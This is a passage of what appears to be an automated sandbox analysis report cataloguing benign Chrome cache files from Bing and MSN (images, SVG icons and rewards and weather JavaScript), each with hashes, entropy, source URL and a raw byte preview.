Preview:	......JFIF.....`.`.....C.....................................'!..%..."."%()+,+. /3/2'+...C..............*************************************************......X...."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?...WCo.....kpn._-.W$.....3m.Z6..5.1..ts:.P.J....=Os.u3...we...D.a.L\YD.f.0.s6.N...Dm...q....8....M^ig..}+Kv.......O..>.@..I .S.+...Z.IM].Z.kQ..4.b..H......c....Gd"3F.....l.....}u.[Cwl.'.v..9...G.P.!...I..v..rX..Zm......5mr.V..I.X.8.,0..~...M...ue ug..bV...I..M............n\.n.....Sq..[9?.c)_C..]..M..aH....^I<Q<..hc.`.p.b_..g.K.)d..H..l!'.....I...../.(

Chrome Cache Entry: 790

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 300x225, components 3
Category:	downloaded
Size (bytes):	30090
Entropy (8bit):	7.959675477406562
Encrypted:	false
SSDEEP:	768:eabwbTDVApdx1qHb24A6KZjEgKL3ekP5bC9m17fA:eae2qa6iKL3ekP5bC9m17I
MD5:	9703F4B5288974255D06338240A36CDC
SHA1:	23978D0F7610128A1D9BB45A3D9A63559CB388D8
SHA-256:	2B58D7463A8683C5F22091C4DC83FB14D7DC7F4BC1E6EFA7E0142BE37704167C
SHA-512:	C17DD88A2DA1012F4CA474E53CA3E03E6120B3BF6FE6329D98EB80A642F9A6ECE87CBE1610D6E4F4A5497873C39CAC94939D14FB6B4A130594737FABEE9D6AD4
Malicious:	false
Reputation:	unknown
URL:	https://th.bing.com/th?id=ORMS.9fbb5b58d742f058dd70abe40f958639&pid=Wdp&w=300&h=225&qlt=90&c=1&rs=1
Preview:	......JFIF.....`.`.....C....................................................................C.........................................................................,.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?...D.p..(#..,.2Z..n@bH.=....5f.O{.m..4..yK.l.$......].5.....1.4...7.7.....'...X\..].TV.......N.S]....skt.%..qF^X. .cp.A+.@.n..x9Q..T..n....b.N6.}x..A&..{i&y...\.8....p{V59[.}Mb....3.c.}..$7....1 O&..H\.].g...w.....{.C......b}.o}...>....@.q.9........-.c.tJ.^.I#?..v.(60....1FIm.%~l.#.oN..p..R.M+3MwF.....k.K......o..VI.9(..RN{.~.w.H&.y.].1%..9.?Z.o.{.J4tk.....I.

Chrome Cache Entry: 791

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 186x88, components 3
Category:	dropped
Size (bytes):	5263
Entropy (8bit):	7.921719759334495
Encrypted:	false
SSDEEP:	96:8zgEipGg/vmrYIbmx1tEt/uiIsx08BHJxshG8BXPpJR65L6Am82o8jima:yg9kei/uBsRBHJxspBR/zPoRX
MD5:	2313C158992B830B3670618A4D832391
SHA1:	9E43E00516ACB30C1BA255E7A1030827ADC2B26C
SHA-256:	475D87DBF6B646501017FF38A02ECD7B80F990541674549AC043B6F40F7CCFD3
SHA-512:	FEA277A3F18E9210F82A98BEF35474A7E6EFEC43EC1D163ED87CFCEAE561F956C33ABD36ACDCBDED66EC840979B184FC8BE027F430D27DD009ABCB24982D601E
Malicious:	false
Reputation:	unknown
Preview:	......JFIF.....`.`.....C.....................................'!..%..."."%()+,+. /3/2'+...C..............*************************************************......X...."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?...OO.-..,..k.._/R....^..[.V...........<&....6....:u....v=[.z...h....E.[Id.._._+..^.M.f#a.nC..N(Z5`r1.].h.pe..7.>..q>UA$...5j..{....m..\G..Q'vZV;....R.....(5}...O{... ......G..N....EX...u.. wy.rO&...q..';.=c...`.Z..# ..<...2....\..5K{.b.J"h..O.".[./Q...v...^iF...".)r..&_4B.s..Fz..I....i....D.6..Bv...v....=.`.jw&.7..3.<V...4...xIeu.0.=....3..9%t2... ...3;

Chrome Cache Entry: 792

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	282
Entropy (8bit):	4.768675821769942
Encrypted:	false
SSDEEP:	6:tbXH4mc4sl3UY7eERI1+N9H5R0MLERIwoVNdJMvdIXyCWfuBIAFfu:tbH41niB1+bj0MLBnpavdqyVGBIAFm
MD5:	E38795B634154EC1FF41C6BCDA54EE52
SHA1:	16C6BF388D00A650A75685C671AF002CEA344B4B
SHA-256:	66B589F920473F0FD69C45C8E3C93A95BB456B219CBA3D52873F2A3A1880F3F0
SHA-512:	DCA2E67C46CFF1B9BE39CE8B0D83C34173E6B77EC08FA4EB4BA18A4555144523C570D785549FED7A9909C2E2C3B48D705B6E332832CA4D5DE424B5F7C3CD59BE
Malicious:	false
Reputation:	unknown
URL:	https://r.bing.com/rp/Fsa_OI0AplCnVoXGca8ALOo0S0s.svg
Preview:	<svg focusable="false" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 16 16">.. <path d="M0 0h16v16h-16z" fill="none"/>.. <path d="M8 1a7 7 0 1 0 7 7 7 7 0 0 0-7-7zm1 10a1 1 0 0 1-2 0v-3a1 1 0 0 1 2 0zm-.293-5.293a1 1 0 1 1 .293-.707 1 1 0 0 1-.293.707z" fill="#767676"/>..</svg>

Chrome Cache Entry: 793

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	512
Entropy (8bit):	6.138622783108757
Encrypted:	false
SSDEEP:	12:6v/7rbN3Keisi90P5962MoQ4pQOIAfNUO:GRY90P5962MoQ49h1
MD5:	7EA4AA4FC9B9EA70D120871DF6C70D4C
SHA1:	B22CDA6881D47551B9A3F67AEA614AA7539BB28E
SHA-256:	340953BEA529B7206B1285B455DCAB9DD7B2893676DD175ABBABEB7986B8B8C9
SHA-512:	B13F8FF07D90637107ADD189A3991753F424D808198924E3EA1689A382635077A4902728599FF162CB983C6C0E65C7CE3C6E06A127D0F3E10F43EB7B76A57B87
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....pHYs..........+.....=IDATx...ON.@..g.Uw...'...!.@..=.6..w...7DHX.Jz.C).(..x.aG...2d::.o.....c.}..?....ZW..>@.EA/v....^...z.<....L...R..p8...@'@....)..[...b.^m..-4.........f SO.@?. M...T..._.....W.J.s.]......h@h.ls.%.^6....>......R4.Z....X)~rtzQ....}-X5N@<....-jx.2.A.D1.......}}...'...........vt..(..7.d."..w...4.}.`.m.].w.Bu.y.!.....IEND.B`......................................................................................................................

Chrome Cache Entry: 794

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	257
Entropy (8bit):	4.781091704776374
Encrypted:	false
SSDEEP:	3:qMH4WXMHwmnIB4JmhyfAIB4Jmml0X2IUJIB4JrNOsK1A4JWW7jKYHVA4JRGYdA4S:q6XzD4jr43ldI74FNQlNj7jM9TlMlbSr
MD5:	51A9EA95D5ED461ED98AC3D23A66AA15
SHA1:	62FBB857B873BD79BEE7F16D0766A452FA2798A3
SHA-256:	A5B4181611E951FAECD6C164D704569C633E95FE68D3D1934B911A089EBF70E8
SHA-512:	CEE4231894F82627E50EC746D7C150E5303A1BF8864D7B084173B9D17663A27CC2915F5D0D4DC0602FE26D9EAA10DD98CF3422E7601F520EF34D45C9A506D6F7
Malicious:	false
Reputation:	unknown
URL:	https://r.bing.com/rp/Yvu4V7hzvXm-5_FtB2akUvonmKM.js
Preview:	var BM=BM\|\|{};BM.rules={"#sc_hdu":[-1,-1,1],"#hp_id_hdr":[-1,-1,1],"#hp_container":[-1,-1,1],".hp_sw_logo":[-1,-1,0],".b_searchboxForm":[-1,-1,0],"#crs_pane":[-1,-1,0],"#sb_foot":[-1,-1,0],"#sh_rdiv":[-1,-1,0],"img,div[data-src]":[-1,-1,0],iframe:[-1,-1,0]}

Chrome Cache Entry: 795

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 50 x 50
Category:	dropped
Size (bytes):	49414
Entropy (8bit):	7.786337557112325
Encrypted:	false
SSDEEP:	1536:eXE/6WOXA8PSYII3AhacUdETPWFr6I/DzSdIwToogvGN:gXWwA86YT3CacUdE6Fr6I/yqwTBgvGN
MD5:	34EE08F8009454029F63D7A7B29B8734
SHA1:	4FF9B969FD247385B7B537E27AB755ABF10B619B
SHA-256:	0B5DB1273969107A2927391E904E7E70B1B15D40568CE11717A8B6899BB7B623
SHA-512:	2B728A0F02F1D41F29BCC5E4CBF29E138F199450A1AFCBC7B6B2790E2A8BCE6AB71B19DB7668A40D0F6B702DD1931B90FC60EE1ECB776DA2DDBF8053C068D68F
Malicious:	false
Reputation:	unknown
Preview:	GIF89a2.2..?.......................................................................................................................................................................................!..NETSCAPE2.0.....!..XMP DataXMP<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.9ccc4de93, 2022/03/14-14:07:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:c996674d-1dbc-4dcb-94bf-c133a5e098f7" xmpMM:DocumentID="xmp.did:D4316C07BD1811EC9355E848C6087788" xmpMM:InstanceID="xmp.iid:D4316C06BD1811EC9355E848C6087788" xmp:CreatorTool="Adobe Photoshop 23.3 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:c996674d-1dbc-4dcb-94bf-c133a5e098f7" stRef:documentID="xmp.di

Chrome Cache Entry: 796

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 186x88, components 3
Category:	dropped
Size (bytes):	3075
Entropy (8bit):	7.832568245757873
Encrypted:	false
SSDEEP:	96:8zgEZAQjfEwZBDooToPFWkhmqr+n8zgx85:yge1jf1ZBDoA8Fxj/zR5
MD5:	76A880B2D1C747BC02CC7B1C640571EF
SHA1:	09F21D08BCBC1BD2EF684FFED5FB87DB2E2548AB
SHA-256:	D4A7E3B8DAB8AAF80AF890AEEEE8097ADC059F8E9C241AADD9419F92CF911509
SHA-512:	2ADE1C15843261ADD97E5594357F2301C831C054E7074650C92A809C666F5415B46E185D8C38C87376D39F137026307D418C2FEE2E10D5E01A3A8D2DD098E72E
Malicious:	false
Reputation:	unknown
Preview:	......JFIF.....`.`.....C.....................................'!..%..."."%()+,+. /3/2'+...C..............*************************************************......X...."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..(....\......N.\|.4.#.G.....q.......x8cB.z^.?...~......<...zj....A....:..?..o.........N...kP\.W..k/..k..7.....Z.f.".H.~.AW..Uu.{}.L..Fd.M..=[h..)# ../CX..]..3..BI.'..5..=.Sm....v..,..,..,.O.S.]j.qi%;..95.wG\|i...h."\.....x.1..mF..32.=+2..?....T.h...zE..pK...>.S.kU.rW*...&.8..a.m.K......o.h..uG...?.F..9.q.Y.....U...hs.kq.........:6.q...}.y.>..'..K.f..:7Z..]J

Chrome Cache Entry: 797

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	964
Entropy (8bit):	4.421237058266115
Encrypted:	false
SSDEEP:	24:t741nTY2jmYXhgauOwgXl3gHuWg9cZLzix9QiVCVCTikxQmQ6Nkpgeoo7:dQnkwXhnuOwIlwHuW7nC9QkaUzQm3Nk5
MD5:	88E3ED3DD7EEE133F73FFB9D36B04B6F
SHA1:	518B54603727D68665146F987C13F3E7DCDE8D82
SHA-256:	A39AB0A67C08D907EDDB18741460399232202C26648D676A22AD06E9C1D874CB
SHA-512:	90FF1284A7FEB9555DFC869644BD5DF8A022AE7873547292D8F6A31BA0808613B6A7F23CB416572ADB298EEE0998E0270B78F41C619D84AB379D0CA9D1D9DA6B
Malicious:	false
Reputation:	unknown
URL:	https://r.bing.com/rp/UYtUYDcn1oZlFG-YfBPz59zejYI.svg
Preview:	<svg focusable="false" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 16 16" enable-background="new 0 0 16 16"><g fill="#00809D"><path d="M2.25 0h-1.25c-.263 0-.521.107-.707.293-.186.186-.293.444-.293.707v1.25c0 .552.448 1 1 1s1-.448 1-1v-.25h.25c.552 0 1-.448 1-1s-.448-1-1-1zM1 8.75c.552 0 1-.448 1-1v-1.5c0-.552-.448-1-1-1s-1 .448-1 1v1.5c0 .552.448 1 1 1zM2.25 12h-.25v-.25c0-.552-.448-1-1-1s-1 .448-1 1v1.25c0 .263.107.521.293.707s.444.293.707.293h1.25c.552 0 1-.448 1-1s-.448-1-1-1zM11.75 2h.25v.25c0 .552.448 1 1 1s1-.448 1-1v-1.25c0-.263-.107-.521-.293-.707-.186-.186-.444-.293-.707-.293h-1.25c-.552 0-1 .448-1 1s.448 1 1 1zM6.25 2h1.5c.552 0 1-.448 1-1s-.448-1-1-1h-1.5c-.552 0-1 .448-1 1s.448 1 1 1zM14.5 7h-.5v-.75c0-.552-.448-1-1-1s-1 .448-1 1v.75h-3.5c-.828 0-1.5.671-1.5 1.5v3.5h-.75c-.552 0-1 .448-1 1s.448 1 1 1h.75v.5c0 .828.672 1.5 1.5 1.5h6c.828 0 1.5-.672 1.5-1.5v-6c0-.829-.672-1.5-1.5-1.5z"/></g><path fill="none" d="M0 0h16v16h-16z"/></svg>

Chrome Cache Entry: 798

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (28499), with no line terminators
Category:	dropped
Size (bytes):	28499
Entropy (8bit):	5.464092044647653
Encrypted:	false
SSDEEP:	768:kpe5mB7azmB7ad5KVyDQNSkGyDQS2mZvghM/4S8Sv:kVaAazDxgDj/Zvb7nv
MD5:	435D4389CF37EBDF488B09D33328E64C
SHA1:	E4897917BB729F94808672478A32FAD44CEEB350
SHA-256:	F56C5B27AD30B13345DEDB5081AC381A0BE37A454242D2D289B90C5F44CDDDA8
SHA-512:	E0C35C5055200CD536B190966872EBEB8D7ED9ECE087E49F51B0EF6F9D7A935DC938C53C9C562E42506A10DDDE08C6B8D7B0A1EFB10BCD972FE5EF124DCCA88A
Malicious:	false
Reputation:	unknown
Preview:	var ModernRewards;(function(n){var t="redDotDisplay",e="redDotDisplayFill",f="rewards_header_icon serp",o="rewards_header_icon hp",s="/red-dot-24.png",h="AutoOpenFlyoutFired",c="bfbNotificationShown",l="BNPNotificationShown",a="ChatVerticalShown",v="CookieDisabled",y="IsAADUser",p="MissingModel",i=!0,u="",r="//az15297.vo.msecnd.net/images/rewards/membercenter/missions/redotIMG.png",w=function(){function n(n){this.reportActivityModel=n;this.rewardsReadyEventArgs={isAuthenticated:n&&n.IsAuthenticated,isRebatesUser:n&&n.RewardsSessionData&&n.RewardsSessionData.IsRebatesUser,isRewardsUser:n&&n.RewardsSessionData&&n.RewardsSessionData.IsRewardUser,isTrialUser:n&&n.RewardsSessionData&&!n.RewardsSessionData.IsRewardUser&&n.RewardsSessionData.IsTrialUser,waitlist:n&&n.RewardsSessionData&&n.RewardsSessionData.Waitlist,isCcpEligible:n&&n.RewardsSessionData&&n.RewardsSessionData.IsCcpEligible}}return n.prototype.initialize=function(){var r=this,e,o,s,w,n;if(this.reportActivityModel){if(this.sendR

Chrome Cache Entry: 799

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 50x68, components 3
Category:	dropped
Size (bytes):	1167
Entropy (8bit):	7.430573815901941
Encrypted:	false
SSDEEP:	24:pXSy4T0vlW1/SM/sR4l6Q5BTZDinI6t4TFnnlZ+UsUoQ:pXz4UUv/jrTZGnTCnlZ+UsTQ
MD5:	52CB8A2AF0EBB07A1E4F5E8B18B4CB0F
SHA1:	6243DB112494D77D177BB57879A2497DB39274B6
SHA-256:	B3A9C48A6BA1578E67D21343EB0B76FFB48F631642C8EF6810CFDB0578C6A40A
SHA-512:	218F007A854F1127C2646F4BA9121F66F427067BF635356E25572BFD42A5A458CAEC9814F7BAD1D89FCEB4FCC43F4DFBEE55A6055DAE529D5521F3BAAAE1E5C4
Malicious:	false
Reputation:	unknown
Preview:	......JFIF.............C.......................................%..%....)).%756.2>-)0.;!....C...........,...,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,......D.2..".......................................2........................!...1AQaq.."..#..2BRTr............................... ......................!A..."1.............?...V).XgH..s..Y....@Lx.....,....=.19F.wN.0W\|.y.V...-...8..I.......9...b.q.}.N.MwYDl..q..c.;/....V...{f.&'..K.......)@<.^..@....H..$.x...s.v.e.U......~...H.R..\\.....a.v?.n7.].]_....Ml..]..z...F.+I.2.R...j...<6.A......k%i.Qc2...r.......W.....b....)J...>...;.w.....].{......Z..%.Yhz...nm...Mr....-..E..&. ....Y[..I2P3o......6..c..:........]F..s+.s...xE....fa.1B..,.4..N.....M.Z\...oa..3..bH.<.W8.(...@.].^.'.......[J..O\|s!"....JW...8F...:..Wa."..ZW..........#....5n8.Q..e..]K}....#....'S.jD.....n..&..T.'..O.[/..&.... Y>Wl.."...1..ss....SUEB..`..........4...X..g\Y....W#l.v.......7...H,.M2.....'ZU...U\|..f....>..t....~_..3M.$.D..h3..

Chrome Cache Entry: 800

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 186x88, components 3
Category:	downloaded
Size (bytes):	3075
Entropy (8bit):	7.832568245757873
Encrypted:	false
SSDEEP:	96:8zgEZAQjfEwZBDooToPFWkhmqr+n8zgx85:yge1jf1ZBDoA8Fxj/zR5
MD5:	76A880B2D1C747BC02CC7B1C640571EF
SHA1:	09F21D08BCBC1BD2EF684FFED5FB87DB2E2548AB
SHA-256:	D4A7E3B8DAB8AAF80AF890AEEEE8097ADC059F8E9C241AADD9419F92CF911509
SHA-512:	2ADE1C15843261ADD97E5594357F2301C831C054E7074650C92A809C666F5415B46E185D8C38C87376D39F137026307D418C2FEE2E10D5E01A3A8D2DD098E72E
Malicious:	false
Reputation:	unknown
URL:	https://www.bing.com/th?id=OPN.RTNews_hL89PD2lwyOp2o_KeDG4KQ&w=186&h=88&c=7&rs=2&qlt=80&pid=PopNow
Preview:	......JFIF.....`.`.....C.....................................'!..%..."."%()+,+. /3/2'+...C..............*************************************************......X...."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..(....\......N.\|.4.#.G.....q.......x8cB.z^.?...~......<...zj....A....:..?..o.........N...kP\.W..k/..k..7.....Z.f.".H.~.AW..Uu.{}.L..Fd.M..=[h..)# ../CX..]..3..BI.'..5..=.Sm....v..,..,..,.O.S.]j.qi%;..95.wG\|i...h."\.....x.1..mF..32.=+2..?....T.h...zE..pK...>.S.kU.rW*...&.8..a.m.K......o.h..uG...?.F..9.q.Y.....U...hs.kq.........:6.q...}.y.>..'..K.f..:7Z..]J

Chrome Cache Entry: 801

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65534), with no line terminators
Category:	downloaded
Size (bytes):	158668
Entropy (8bit):	5.420662290061511
Encrypted:	false
SSDEEP:	1536:atBzrSYiNjp3psRvfx3lfeAYSh4W9/UN0nw+GfElKNJvSQ4LohD6V:a3iaRX9lf9D9cMw1fElKsLoY
MD5:	3E40D54D8F8CB4643458072E37081665
SHA1:	81845E3F3850D0F35CD251BB29520AFF5DCAF4CF
SHA-256:	973A6733C17C53C46C428BF36B68B4DDB6C8CC8C941E91E1FCB57645F596FE13
SHA-512:	B91E6A60FD054C3F1113F3E7A3E717B801F8D3DDAAEA1B03D630CA9D9CEBCECDFD788E412240F10D2D7DB8B798F0B6C317BD9D1C2A28943C2C876FFEB9DDC2C6
Malicious:	false
Reputation:	unknown
URL:	https://assets.msn.com/bundles/v1/bingHomepage/latest/weather-card.43288de41fd9a118d1c6.js
Preview:	(self.webpackChunk_msnews_msnews_experiences=self.webpackChunk_msnews_msnews_experiences\|\|[]).push([["weather-card"],{62602:function(e,t){"use strict";t.Z='<svg width="15" height="13" viewBox="0 0 15 13" class="inline-DS-card1-4 contextMenuItem_image-DS-card1-1 contextMenuItem_image-DS-card1-2"><path d="M2.5 5c-.6 0-1.1-.22-1.52-.64A2.12 2.12 0 0 1 .34 2.8c0-.6.21-1.1.63-1.51.42-.42.92-.63 1.52-.63s1.12.21 1.54.63c.43.41.64.92.64 1.51 0 .6-.2 1.12-.63 1.55-.42.42-.93.63-1.53.63Zm0-3.41c-.33 0-.62.12-.86.36-.24.23-.36.52-.36.86 0 .35.12.65.35.9.24.25.52.37.86.37.34 0 .63-.13.88-.38.24-.25.36-.54.36-.89 0-.34-.12-.63-.35-.86a1.18 1.18 0 0 0-.87-.36Zm12.13 9.94c-.83.44-1.86.66-3.1.66-1.6 0-2.87-.52-3.83-1.54A5.68 5.68 0 0 1 6.27 6.6c0-1.8.53-3.24 1.61-4.34A5.49 5.49 0 0 1 11.98.6c1.07 0 1.95.15 2.64.46v1.4a5.35 5.35 0 0 0-2.65-.67c-1.29 0-2.33.43-3.13 1.29-.8.86-1.2 2-1.2 3.44 0 1.37.37 2.45 1.12 3.27.75.8 1.73 1.2 2.94 1.2 1.13 0 2.1-.24 2.93-.74v1.27Z"/></svg>'},59234:function(e,t){"use

Chrome Cache Entry: 802

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data, little-endian, direntries=5, xresolution=74, yresolution=82, resolutionunit=2, software=GIMP 2.10.8, datetime=2019:07:31 17:53:43], progressive, precision 8, 160x160, components 3
Category:	dropped
Size (bytes):	4934
Entropy (8bit):	7.782095567670307
Encrypted:	false
SSDEEP:	96:sHbZoNWsmjRgjXFQvdXNkuz4nicDWk+4Nf6Q2mKwADHfXC7OWn:sFmmjGjWddkuz4nicyktAtmtAbuLn
MD5:	FDA2CEAE0679611937E6E71F701A36AB
SHA1:	75B98D4B8E7142F0F57620296354F61C4C6F3A8F
SHA-256:	B818C1E9B0B46CCCDC158ACA581C3C5F4A9BD3DDA380DA03AF52F43F14F5651E
SHA-512:	904100EBE310AFDF86C2E4C9CBDDC118178D41B45D076BB6077DB8F3BCED8B3CEDF545CE079E39B6F8034C2247FD4C824C0522B6221E3CDC02423AF8EEB9F8A3
Malicious:	false
Reputation:	unknown
Preview:	......JFIF.....H.H......Exif..II...............J...........R...(...........1.......Z...2.......f.......H.......H.......GIMP 2.10.8.2019:07:31 17:53:43....C...........................#.%$"."!&+7/&)4)!"0A149;>>>%.DIC<H7=>;...C...........;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;......................................................................................._..Z/9.....AhY...T0!Eu,..dk.....y. .LP.B..V..m@@f....<uf.......h...)8.2j..U...<.n....4.B.-....W..^.J..o.{.....z.....".s.,.S...;...^f<.O8,>u.s...n.)....\o..6.{.=#:(.F.;..;1].V.........U5.1..W..g7\|r5..==...Hy..h....@...KV.{.l.9.........F.S....N{9.Y..(C.f..u\..&OX..-..N..w\..(.:.1..:ldGW.q.!...mo...e.=........a2..:hkA.....Z.:r}.....Z[...../\...-..A.#..E-K.5..k........]....yQhiAF........cy.[...C..qg.j.Y..Q3.Uh(..X.>kjs..5.....=.M.J.m.Q...FE.m=s..>.WSv..J..42+....V..[....n,.h..5...\.I]...%T.0k.=...h..5.td....].@.\..^.r....d.f..[....k....0E.U..H.....G...]]Z.M.Y..-..I....%.......................

Chrome Cache Entry: 803

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 300x225, components 3
Category:	dropped
Size (bytes):	32898
Entropy (8bit):	7.966174938249741
Encrypted:	false
SSDEEP:	768:egGj5p9sQdpX+CaqgqIrY4HKwuN22BTTH716SPBn7O/dBfXqCFSTAQ:egG9/sQfuCaqT4r21T716WBn7O/fXqH1
MD5:	263155C9BF11DABFBA7C0BDFC14D2964
SHA1:	804BFC4E233616F6CC4EA28953787C63160751BA
SHA-256:	D485AF81753103E942E7053EA3819D7327F6E640493B32C64EECDA2BB7F8E064
SHA-512:	8E8D29E4DBF5C4E74A7A463273442C75B624A8AA794280DDEB3EB08CBF31EE3F0CA13C61F558617F0CC48A781C3C527344C3F3D370B4B5BEFF9DA6FCAC7D16F4
Malicious:	false
Reputation:	unknown
Preview:	......JFIF.....`.`.....C....................................................................C.........................................................................,.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..+..x..".S..Q..r.....7....M......@........J......M.7.'..^..3.sZ.s.>.q a......,..6..W...m...V...\|p...h.~H.Jw.B.>_..Y...S.2<.(.Sh...R..<...&.9....5Y1.l.H..7.z..t..)I..H....v.c# n$t9....Yq.]./.u..&.GK?..!i.._...W...^8$.....u....l.'.<....z.+C.F.'....G.....h.S}..d.7.W.??..}..l.^}..\|.'XQ.D..r#.pG/.{...a.f.......V.-c...t...-.).kS.4n.Y!_,J..T.N....g..-.&.hu....U...I&

Chrome Cache Entry: 804

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2524), with no line terminators
Category:	dropped
Size (bytes):	2524
Entropy (8bit):	5.496443534651084
Encrypted:	false
SSDEEP:	48:PvB3ugs9kys5b+qM4qKr+KOHaH4ZMLSyKQug1LL7j:PvB89kyPWqKKKOHY4Z+zn
MD5:	17CDAB99027114DBCBD9D573C5B7A8A9
SHA1:	42D65CAAE34EBA7A051342B24972665E61FA6AE2
SHA-256:	5FF6B0F0620AA14559D5D869DBEB96FEBC4014051FA7D5DF20223B10B35312DE
SHA-512:	1FE83B7EC455840A8DDB4EEDBBCD017F4B6183772A9643D40117A96D5FFF70E8083E424D64DEBA209E0EF2E54368ACD58E16E47A6810D6595E1D89D90BCA149A
Malicious:	false
Reputation:	unknown
Preview:	var RewardsHeaderSVG;(function(n){function w(){s()}function b(n,t){var i=sj_cook.get(h,l);t?n.indexOf(i)>-1?o():s():k()>0&&o()}function o(){g();sb_st(nt,u);sb_st(d,u)}function k(){var n=sj_cook.get(c,a);return parseInt(n)}function d(){sj_evt.fire(v)}function s(){sj_evt.fire(y)}function g(){var u=_ge(r),n;_ge(t)&&Lib.CssClass.add(_ge(t),"rd_hide");_ge(i)&&Lib.CssClass.add(_ge(i),"rd_hide");u&&(n=document.createElement("img"),n.setAttribute("id","coinFlipGif"),n.setAttribute("class","rhcoinflip"),n.setAttribute("src",p),u.appendChild(n),u.style.display="block")}function nt(){_ge(r).style.display="none";_ge(t)&&Lib.CssClass.remove(_ge(t),"rd_hide");_ge(i)&&Lib.CssClass.remove(_ge(i),"rd_hide")}var h="_RwBf",c="_SS",l="v",a="RP",r="coinFlipGifContainer",t="rewards_header_icon serp",i="rewards_header_icon hp",v="rewardsRedDot",y="redDotAnimation",u=1750,p="//az15297.vo.msecnd.net/images/rewards/membercenter/missions/coin_flip_3d.gif",f=_d.querySelector(".rhlined.serp, .rhlined.hp"),e=_d.que

Chrome Cache Entry: 805

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	512
Entropy (8bit):	4.510163916949154
Encrypted:	false
SSDEEP:	6:6v/lhPahm1lWrg91nyJV1JGOZBouB1eNAWmXcKQ1W1:6v/74+dyJV2O/TDSYsKQ8
MD5:	2CB038DB4D785FBF1014B83723250865
SHA1:	9F146FB8557766B4ECD653CB0FF96DF85FFC0BE0
SHA-256:	AE57256091E86B729C7D6E575DF6C005FAF49B50036E32B63BDF07E5DBAA4B40
